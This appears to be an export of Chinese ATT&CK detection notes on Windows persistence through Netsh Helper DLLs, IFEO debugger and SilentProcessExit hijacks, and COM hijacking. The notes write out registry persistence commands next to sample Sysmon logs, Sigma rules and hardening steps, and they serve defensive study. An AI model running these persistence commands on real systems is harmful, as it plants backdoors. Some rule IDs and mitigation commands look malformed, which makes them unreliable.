**Sysmon日志（事件ID 13，注册表修改）**：\n  ```plaintext\n  EventID: 13\n  EventType: SetValue\n  UtcTime: 2025-06-10 03:00:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\netsh.exe\n  TargetObject: HKLM\\SOFTWARE\\Microsoft\\Netsh\\malicious\n  Details: C:\\Windows\\System32\\malicious.dll\n  User: CONTOSO\\Administrator\n  ```\n\n- **Sysmon日志（事件ID 1，进程创建）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:00:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 1234\n  Image: C:\\Windows\\System32\\netsh.exe\n  CommandLine: netsh add helper C:\\Windows\\System32\\malicious.dll\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: CONTOSO\\Administrator\n  IntegrityLevel: High\n  ```\n\n- **Sysmon日志（事件ID 7，DLL加载）**：\n  ```plaintext\n  EventID: 7\n  UtcTime: 2025-06-10 03:00:00.345\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\netsh.exe\n  ImageLoaded: C:\\Windows\\System32\\malicious.dll\n  User: CONTOSO\\Administrator\n  ```\n\n- **注册表项**：\n  ```plaintext\n  HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Netsh\n  Name: malicious\n  Type: REG_SZ\n  Data: C:\\Windows\\System32\\malicious.dll\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控注册表修改、DLL加载和`netsh.exe`执行日志，检测Netsh Helper DLL的异常注册及使用。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Sysmon事件ID 13，检测`HKLM\\SOFTWARE\\Microsoft\\Netsh`的修改。  \n   - 监控Sysmon事件ID 1，检测`netsh.exe`执行`add helper`命令。  \n   - 监控Sysmon事件ID 7，检测`netsh.exe`加载的异常DLL。  \n   - 监控Sysmon事件ID 11，检测DLL文件的创建（如`C:\\Windows\\System32\\malicious.dll`）。  \n   - 监控Windows安全日志事件ID 4688，检测`netsh.exe`或`reg.exe`的异常使用。  \n\n2. **Sigma规则（Netsh Helper DLL注册表修改）**：\n   ```yaml\n   title: Netsh Helper DLL注册表修改检测\n   id: l34567890-abcd123456-xyz789012345\n   status: stable\n   description: 检测Netsh Helper DLL的注册表修改，可能用于持久化恶意代码\n   date: 2020/11/29\n   references:\n     - https://attack.mitre.org/techniques/T1546/007/\n     - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.007/T1546.007.md\n     - https://www.cnblogs.com/xiaozi/p/11834533.html\n   tags:\n     - attack.persistence\n     - attack.t1546.007\n     - attack.t1112\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 13\n       TargetObject|contains: '\\SOFTWARE\\Microsoft\\Netsh'\n     condition: selection\n   fields:\n     - TargetObject\n     - Details\n     - Image\n     - User\n   falsepositives:\n     - 合法Netsh Helper DLL注册（如VPN软件）\n   level: high\n   ```\n\n3. **Sigma规则（Netsh Helper DLL执行）**：\n   ```yaml\n   title: Netsh Helper DLL注册执行检测\n   id: m45678901-abcd234567-abc890123456\n   status: experimental\n   description: 检测netsh.exe执行add helper命令，可能注册恶意DLL\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 1\n       Image|endswith: '\\netsh.exe'\n       CommandLine|contains: 'add helper'\n     condition: selection\n   fields:\n     - Image\n     - CommandLine\n     - ParentImage\n     - User\n   falsepositives:\n     - 合法网络管理操作\n   level: high\n   ```\n\n4. **SIEM规则**：\n   - 检测Netsh Helper DLL注册及执行。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventID=13 TargetObject=\"*SOFTWARE\\Microsoft\\Netsh*\") OR (EventID=1 Image=\"*netsh.exe\" CommandLine=\"*add helper*\") OR (EventID=7 ImageLoaded=\"*.dll\" Image=\"*netsh.exe\")) | stats count by Image, CommandLine, TargetObject, ImageLoaded, User, ComputerName\n     ```\n\n5. **注册表监控**：\n   - 检查Netsh Helper配置：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Netsh\"\n     ```\n\n6. **工具支持**：\n   - 使用Sysinternals Autoruns检查Netsh Helper DLL：\n     ```cmd\n     autoruns -a | findstr \"Netsh\"\n     ```\n   - 使用Process Monitor捕获实时注册表和DLL加载活动。\n\n7. **威胁情报整合**：\n   - 检查DLL文件哈希或路径是否与已知恶意样本匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御Netsh Helper DLL攻击需从注册表保护、DLL监控和权限管理入手：\n\n1. **锁定注册表键**  \n   - 限制`HKLM\\SOFTWARE\\Microsoft\\Netsh`的写权限：\n     ```powershell\n     $acl = Get-Acl \"HKLM:\\SOFTWARE\\Microsoft\\Netsh\"\n     $acl.SetAccessRuleProtection($true, $false)\n     Set-Acl -Path \"HKLM:\\SOFTWARE\\Microsoft\\Netsh\" -AclObject $acl\n     ```\n\n2. **限制netsh命令使用**  \n   - 使用AppLocker限制非管理员执行`netsh.exe`：\n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"C:\\Windows\\System32\\netsh.exe\" -Action Deny -User \"Everyone\"\n     ```\n\n3. **白名单DLL**  \n   - 仅允许系统默认Netsh Helper DLL：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Netsh\" | Where-Object { $_.PSChildName -notmatch \"^(interface|firewall|advfirewall|http|ras|wlan)$\" }\n     ```\n\n4. **加强权限管理**  \n   - 限制非管理员用户修改System32目录：\n     ```powershell\n     icacls \"C:\\Windows\\System32\" /deny \"Users:(W)\"\n     ```\n\n5. **日志和监控**  \n   - 启用Sysmon事件ID 1、7、11、13，检测Netsh相关活动。  \n   - 配置SIEM监控Netsh Helper DLL注册及加载。  \n   - 使用EDR工具检测异常DLL行为。  \n\n6. **定期审计**  \n   - 检查Netsh Helper配置：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Netsh\"\n     ```\n   - 审计System32目录中的DLL文件：\n     ```powershell\n     Get-ChildItem -Path \"C:\\Windows\\System32\" -Filter \"*.dll\" | Where-Object { $_.CreationTime -gt (Get-Date).AddDays(-7) }\n     ```\n\n## 参考推荐\n\n- MITRE ATT&CK: T1546.007  \n  <https://attack.mitre.org/techniques/T1546/007/>  \n- Atomic Red Team: T1546.007  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.007/T1546.007.md>  \n- Window权限维持（十）：Netsh Helper DLL  \n  <https://www.cnblogs.com/xiaozi/p/11834533.html>  \n- EQlib Analytics: Netsh Helper DLL  \n  <https://eqllib.readthedocs.io/en/latest/analytics/5f9a71f4-f5ef-4d35-aff8-f67d63d3c896.html>"
  },
  {
    "path": "Windows/05持久化/T1546.012-Win-事件触发执行-图片文件执行选项注入.md",
    "content": "# T1546-012-Win-事件触发执行-图片文件执行选项注入\n\n## 描述\n\n攻击者可能通过修改图像文件执行选项（Image File Execution Options, IFEO）注册表键实现持久化或权限提升（T1546.012）。IFEO允许开发人员为特定可执行文件配置调试器或监控程序，存储在注册表`HKLM\\SOFTWARE[\\Wow6432Node]\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable>`中。攻击者可滥用IFEO的`Debugger`或`SilentProcessExit`功能，将恶意程序设置为目标程序的调试器或退出监控程序，从而在目标程序启动或终止时触发恶意代码。\n\nIFEO攻击可用于：\n- **持久化**：每次目标程序运行时触发恶意程序。  \n- **权限提升**：以目标程序的权限（如SYSTEM）执行恶意代码（如`utilman.exe`调试器）。  \n- **防御规避**：通过无效调试器禁用安全工具（如杀毒软件）。  \n\n攻击者常选择高频运行的系统程序（如`calc.exe`、`notepad.exe`）或可访问性程序（如`utilman.exe`）作为目标，结合伪装为合法调试器（如`cmd.exe`）提升隐蔽性。检测重点在于监控IFEO注册表修改、异常调试器执行及目标程序的进程行为。\n\n## 测试案例\n\n1. **IFEO Debugger注入**  \n   攻击者将`cmd.exe`配置为`calc.exe`的调试器，每次启动计算器时运行命令提示符。  \n2. **IFEO Silent Process Exit监控**  \n   攻击者为`notepad.exe`配置退出监控程序（如`cmd.exe`），在记事本关闭时触发恶意代码。  \n3. **权限提升**  \n   攻击者将`cmd.exe`配置为`utilman.exe`的调试器，在登录屏幕触发SYSTEM权限命令提示符。  \n\n### 示例命令\n#### 测试1：IFEO Add Debugger\n- **攻击命令**（需管理员权限）：\n  ```cmd\n  REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\calc.exe\" /v Debugger /d \"C:\\Windows\\System32\\cmd.exe\"\n  ```\n  - **目标程序**：`C:\\Windows\\System32\\calc.exe`  \n  - **恶意程序**：`C:\\Windows\\System32\\cmd.exe`  \n- **清理命令**：\n  ```cmd\n  reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\calc.exe\" /v Debugger /f >nul 2>&1\n  ```\n\n#### 测试2：IFEO Global Flags\n- **攻击命令**（需管理员权限）：\n  ```cmd\n  REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512\n  REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1\n  REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\Windows\\System32\\cmd.exe\"\n  ```\n  - **目标程序**：`C:\\Windows\\System32\\notepad.exe`  \n  - **恶意程序**：`C:\\Windows\\System32\\cmd.exe`  \n- **清理命令**：\n  ```cmd\n  reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /f >nul 2>&1\n  reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /f >nul 2>&1\n  reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /f >nul 2>&1\n  ```\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录`reg.exe`或目标程序（如`calc.exe`）的进程创建。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`reg.exe`或调试器程序（如`cmd.exe`）的命令行参数。  \n- **事件ID 7**：记录调试器或监控程序加载的模块（如DLL）。  \n- **事件ID 13**：记录注册表修改，如`Image File Execution Options`或`SilentProcessExit`键的更改。  \n- **事件ID 11**：记录恶意程序文件的创建或写入。  \n\n**配置日志记录**  \n- 启用注册表审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强注册表、进程和模块监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10或Windows Server 2012+。  \n- **权限**：管理员权限（修改IFEO注册表需提升权限）。  \n- **工具**：`reg.exe`（系统自带）、Sysmon、测试用程序（如`cmd.exe`）。  \n- **日志**：启用Windows安全日志和Sysmon。  \n\n### 攻击步骤\n#### 测试1：IFEO Add Debugger\n1. **配置调试器**  \n   - 注册`cmd.exe`为`calc.exe`的调试器：\n     ```cmd\n     REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\calc.exe\" /v Debugger /d \"C:\\Windows\\System32\\cmd.exe\"\n     ```\n\n2. **触发执行**  \n   - 运行计算器：\n     ```cmd\n     calc.exe\n     ```\n   - 观察`cmd.exe`是否启动。\n\n3. **验证结果**  \n   - 检查注册表：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\calc.exe\" -Name Debugger\n     ```\n   - 检查日志：  \n     - **Windows安全日志（事件ID 4688）**：\n       ```powershell\n       Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match \"reg.exe|calc.exe|cmd.exe\" }\n       ```\n     - **Sysmon日志（事件ID 13）**：\n       ```powershell\n       Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 13 -and $_.Message -match \"Image File Execution Options\" }\n       ```\n\n4. **清理**  \n   - 删除调试器配置：\n     ```cmd\n     reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\calc.exe\" /v Debugger /f >nul 2>&1\n     ```\n\n#### 测试2：IFEO Global Flags\n1. **配置退出监控**  \n   - 设置`notepad.exe`的GlobalFlag和SilentProcessExit：\n     ```cmd\n     REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512\n     REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1\n     REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\Windows\\System32\\cmd.exe\"\n     ```\n\n2. **触发执行**  \n   - 运行并关闭记事本：\n     ```cmd\n     notepad.exe\n     taskkill /IM notepad.exe /F\n     ```\n   - 观察`cmd.exe`是否启动。\n\n3. **验证结果**  \n   - 检查注册表：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" -Name MonitorProcess\n     ```\n   - 检查日志：  \n     - **Sysmon日志（事件ID 13）**：\n       ```powershell\n       Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 13 -and $_.Message -match \"SilentProcessExit\" }\n       ```\n\n4. **清理**  \n   - 删除配置：\n     ```cmd\n     reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /f >nul 2>&1\n     reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /f >nul 2>&1\n     reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /f >nul 2>&1\n     ```\n\n### 示例输出\n#### 测试1\n```cmd\nREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\calc.exe\" /v Debugger /d \"C:\\Windows\\System32\\cmd.exe\"\n操作成功完成。\n\ncalc.exe\n<cmd.exe窗口弹出>\n\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\calc.exe\" /v Debugger /f >nul 2>&1\n```\n\n#### 测试2\n```cmd\nREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512\n操作成功完成。\n\nREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1\n操作成功完成。\n\nREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\Windows\\System32\\cmd.exe\"\n操作成功完成。\n\nnotepad.exe\ntaskkill /IM notepad.exe /F\n<cmd.exe窗口弹出>\n\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /f >nul 2>&1\n```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n#### 测试1：IFEO Add Debugger\n- **Sysmon日志（事件ID 1，进程创建）**：\n  ```plaintext\n  EventID: 1\n  RuleName: technique_id=T1112,technique_name=Modify Registry\n  UtcTime: 2025-06-10 03:00:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 3704\n  Image: C:\\Windows\\System32\\reg.exe\n  CommandLine: REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\calc.exe\" /v Debugger /d \"C:\\Windows\\System32\\cmd.exe\"\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: CONTOSO\\Administrator\n  IntegrityLevel: High\n  Hashes: SHA256=19316D4266D0B776D9B2A05D5903D8CBC8F0EA1520E9C2A7E6D5960B6FA4DCAF\n  ```\n\n- **Sysmon日志（事件ID 13，注册表修改）**：\n  ```plaintext\n  EventID: 13\n  RuleName: technique_id=T1546.012,technique_name=Image File Execution Options Injection\n  EventType: SetValue\n  UtcTime: 2025-06-10 03:00:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 3704\n  Image: C:\\Windows\\System32\\reg.exe\n  TargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\calc.exe\\Debugger\n  Details: C:\\Windows\\System32\\cmd.exe\n  User: CONTOSO\\Administrator\n  ```\n\n- **Sysmon日志（事件ID 1，调试器执行）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:00:00.345\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ac}\n  ProcessId: 1235\n  Image: C:\\Windows\\System32\\cmd.exe\n  CommandLine: C:\\Windows\\System32\\cmd.exe\n  ParentImage: C:\\Windows\\System32\\calc.exe\n  User: CONTOSO\\Administrator\n  ```\n\n#### 测试2：IFEO Global Flags\n- **Sysmon日志（事件ID 13，注册表修改）**：\n  ```plaintext\n  EventID: 13\n  RuleName: technique_id=T1546.012,technique_name=Image File Execution Options Injection\n  EventType: SetValue\n  UtcTime: 2025-06-10 03:00:00.456\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ad}\n  ProcessId: 6828\n  Image: C:\\Windows\\System32\\reg.exe\n  TargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\\GlobalFlag\n  Details: DWORD (0x00000200)\n  User: CONTOSO\\Administrator\n  ```\n\n- **Sysmon日志（事件ID 13，SilentProcessExit）**：\n  ```plaintext\n  EventID: 13\n  EventType: SetValue\n  UtcTime: 2025-06-10 03:00:00.567\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ad}\n  ProcessId: 6828\n  Image: C:\\Windows\\System32\\reg.exe\n  TargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\\MonitorProcess\n  Details: C:\\Windows\\System32\\cmd.exe\n  User: CONTOSO\\Administrator\n  ```\n\n- **Sysmon日志（事件ID 1，监控程序执行）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:00:00.678\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ae}\n  ProcessId: 1236\n  Image: C:\\Windows\\System32\\cmd.exe\n  CommandLine: C:\\Windows\\System32\\cmd.exe\n  ParentImage: C:\\Windows\\System32\\ntoskrnl.exe\n  User: NT AUTHORITY\\SYSTEM\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控注册表修改、进程创建和模块加载日志，检测IFEO的异常配置及恶意行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Sysmon事件ID 13，检测`HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options`或`SilentProcessExit`的修改。  \n   - 监控Sysmon事件ID 1，检测`reg.exe`或调试器程序（如`cmd.exe`）的异常执行。  \n   - 监控Sysmon事件ID 7，检测目标程序加载的异常模块。  \n   - 监控Windows安全日志事件ID 4688，检测`reg.exe`或目标程序的异常进程创建。  \n   - 检查调试器执行的进程调用树，识别异常父/子进程关系（如`cmd.exe`启动`calc.exe`）。  \n\n2. **Sigma规则（IFEO Debugger 配置）**：\n   ```yaml\n   title: IFEO Debugger 配置检测\n   id: n123456789-abcd-1234-5678-abcdef012345\n   status: stable\n   description: 检测IFEO中为程序配置的调试器，可能用于持久化或操作\n   references:\n     - https://attack.mitre.org/techniques/T1546/012/\n     - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.012/T1546.012.md\n   tags:\n     - attack.persistence\n     - attack.privilege_escalation\n     - attack.t1546.012\n     - attack.t1112\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 13\n       TargetObject|contains: '\\Image File Execution Options\\*\\Debugger'\n     condition: selection\n   fields:\n     - TargetObject\n     - Details\n     - Image\n     - User\n   falsepositives:\n     - 合法调试工具配置（如Visual Studio）\n     - 第三方软件安装\n   level: high\n   ```\n\n3. **Sigma规则（IFEO Silent Process Exit 配置）**：\n   ```yaml\n   title: IFEO Silent Process Exit 配置检测\n   id: o234567890-abcd-2345-6789-abcdef123456\n   status: experimental\n   description: 检测IFEO Silent Process Exit中配置的监控程序，可能用于持久化或权限提升\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 13\n       TargetObject|contains: '\\SilentProcessExit\\*\\MonitorProcess'\n     condition: selection\n   fields:\n     - TargetObject\n     - Details\n     - Image\n     - User\n   falsepositives:\n     - 合法系统监控工具\n   level: high\n   ```\n\n4. **Sigma规则（IFEO 异常调试器执行）**：\n   ```yaml\n   title: IFEO 异常调试器进程执行\n   id: p345678901-abcd-3456-7890-abcdef234567\n   status: experimental\n   description: 检测IFEO配置的调试器程序异常执行\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 1\n       Image|endswith:\n         - '\\cmd.exe'\n         - '\\powershell.exe'\n         - '\\wscript.exe'\n         - '\\cscript.exe'\n       ParentImage|endswith:\n         - '\\calc.exe'\n         - '\\notepad.exe'\n         - '\\utilman.exe'\n         - '\\sethc.exe'\n     condition: selection\n   fields:\n     - Image\n     - ParentImage\n     - CommandLine\n     - User\n   falsepositives:\n     - 合法调试场景\n   level: high\n   ```\n\n5. **SIEM规则**：\n   - 检测IFEO配置及异常执行。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventID=13 TargetObject IN (\"*Image File Execution Options*\\Debugger*\",\"*SilentProcessExit*\\MonitorProcess*\")) OR (EventID=1 Image IN (\"*cmd.exe\",\"*powershell.exe\") ParentImage IN (\"*calc.exe\",\"*notepad.exe\",\"*utilman.exe\"))) | stats count by Image, CommandLine, TargetObject, ParentImage, User, ComputerName\n     ```\n\n6. **注册表监控**：\n   - 检查IFEO配置：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\" -Name Debugger -ErrorAction SilentlyContinue\n     ```\n   - 检查SilentProcessExit配置：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\*\" -Name MonitorProcess -ErrorAction SilentlyContinue\n     ```\n\n7. **工具支持**：\n   - 使用Sysinternals Autoruns检查IFEO注册表键：\n     ```cmd\n     autoruns -a | findstr \"Image File Execution Options\"\n     ```\n   - 使用Process Monitor捕获实时注册表和进程活动。\n\n8. **威胁情报整合**：\n   - 检查调试器或监控程序的哈希是否与已知恶意样本匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御IFEO注入攻击需从注册表保护、进程监控和权限管理入手：\n\n1. **锁定注册表键**  \n   - 限制`HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options`和`SilentProcessExit`的写权限：\n     ```powershell\n     $acl = Get-Acl \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\"\n     $acl.SetAccessRuleProtection($true, $false)\n     Set-Acl -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\" -AclObject $acl\n     ```\n\n2. **限制reg命令使用**  \n   - 使用AppLocker限制非管理员执行`reg.exe`：\n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"C:\\Windows\\System32\\reg.exe\" -Action Deny -User \"Everyone\"\n     ```\n\n3. **白名单调试器**  \n   - 定期审计IFEO配置，确保仅允许可信调试器（如`ntsd.exe`）：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\" -Name Debugger | Where-Object { $_.Debugger -notmatch \"ntsd.exe|vsjitdebugger.exe\" }\n     ```\n\n4. **加强权限管理**  \n   - 限制非管理员用户修改注册表：\n     ```powershell\n     icacls \"C:\\Windows\\System32\\reg.exe\" /deny \"Users:(X)\"\n     ```\n\n5. **日志和监控**  \n   - 启用Sysmon事件ID 1、7、13，检测IFEO注册表修改和调试器执行。  \n   - 配置SIEM监控IFEO相关事件。  \n   - 使用EDR工具检测异常进程关系（如`cmd.exe`调试`calc.exe`）。  \n\n6. **定期审计**  \n   - 检查IFEO配置：\n     ```powershell\n     Get-ChildItem -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\" | Get-ItemProperty -Name Debugger -ErrorAction SilentlyContinue\n     ```\n   - 检查SilentProcessExit配置：\n     ```powershell\n     Get-ChildItem -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\" | Get-ItemProperty -Name MonitorProcess -ErrorAction SilentlyContinue\n     ```\n\n## 参考推荐\n\n- MITRE ATT&CK: T1546.012  \n  <https://attack.mitre.org/techniques/T1546/012/>  \n- Atomic Red Team: T1546.012  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.012/T1546.012.md>"
  },
  {
    "path": "Windows/05持久化/T1546.015-Win-组件对象模型劫持-Dllhost.exe(白名单).md",
    "content": "# T1546-015-Win-组件对象模型劫持-Dllhost.exe\n\n## 描述\n\n攻击者通过劫持Windows组件对象模型（COM）对象的注册表引用，插入恶意代码以实现持久化（T1546.015）。COM是Windows用于组件间交互的核心机制，相关引用存储在注册表（如`HKLM\\SOFTWARE\\Classes\\CLSID`或`HKCU\\SOFTWARE\\Classes\\CLSID`）。攻击者可修改COM对象的`InProcServer32`或`LocalServer32`键，替换合法DLL或可执行文件路径为恶意负载，当系统或应用程序调用该COM对象时触发恶意代码。\n\n**Dllhost.exe**（位于`C:\\Windows\\System32\\`或`C:\\Windows\\SysWOW64\\`）是COM代理进程，负责托管COM服务器（如DLL）。攻击者可通过注册或劫持COM对象的CLSID（类标识符），利用`dllhost.exe /Processid:{CLSID}`加载恶意DLL，伪装为合法COM操作。攻击通常针对高频调用的COM对象以保持持久性，同时避免明显功能异常以降低检测风险。检测重点在于监控COM注册表修改、异常`dllhost.exe`网络活动及加载的非预期DLL。\n\n## 测试案例\n\n1. **劫持COM对象加载恶意DLL**  \n   攻击者修改COM对象的注册表键，指向恶意DLL，由`dllhost.exe`加载。  \n2. **通过CLSID直接触发**  \n   攻击者使用`dllhost.exe /Processid:{CLSID}`执行已注册或劫持的COM服务器。  \n3. **伪装合法COM调用**  \n   攻击者选择常用COM对象（如ShellWindows），替换其服务器路径以隐藏恶意行为。  \n\n### 示例命令\n- **触发COM对象**（用户权限）：\n  ```cmd\n  dllhost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}\n  ```\n  - **用例**：执行指定CLSID的COM服务器，可能加载恶意DLL。  \n  - **所需权限**：用户权限。  \n  - **操作系统**：Windows 10及更早版本。  \n\n- **注册恶意COM对象**（需管理员权限）：\n  ```cmd\n  reg add \"HKLM\\SOFTWARE\\Classes\\CLSID\\{12345678-1234-1234-1234-1234567890AB}\\InProcServer32\" /ve /d \"C:\\Malicious\\evil.dll\" /f\n  ```\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录`dllhost.exe`或`reg.exe`的进程创建。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`dllhost.exe`的命令行参数（如`/Processid:{CLSID}`）。  \n- **事件ID 3**：记录`dllhost.exe`的网络连接，检测异常公网通信。  \n- **事件ID 7**：记录`dllhost.exe`加载的DLL，识别非预期模块。  \n- **事件ID 13**：记录COM注册表修改，如`HKLM\\SOFTWARE\\Classes\\CLSID`。  \n\n**配置日志记录**  \n- 启用注册表审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强注册表、进程、网络和模块监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10或Windows Server 2012+。  \n- **权限**：用户权限（触发COM对象）或管理员权限（注册COM对象）。  \n- 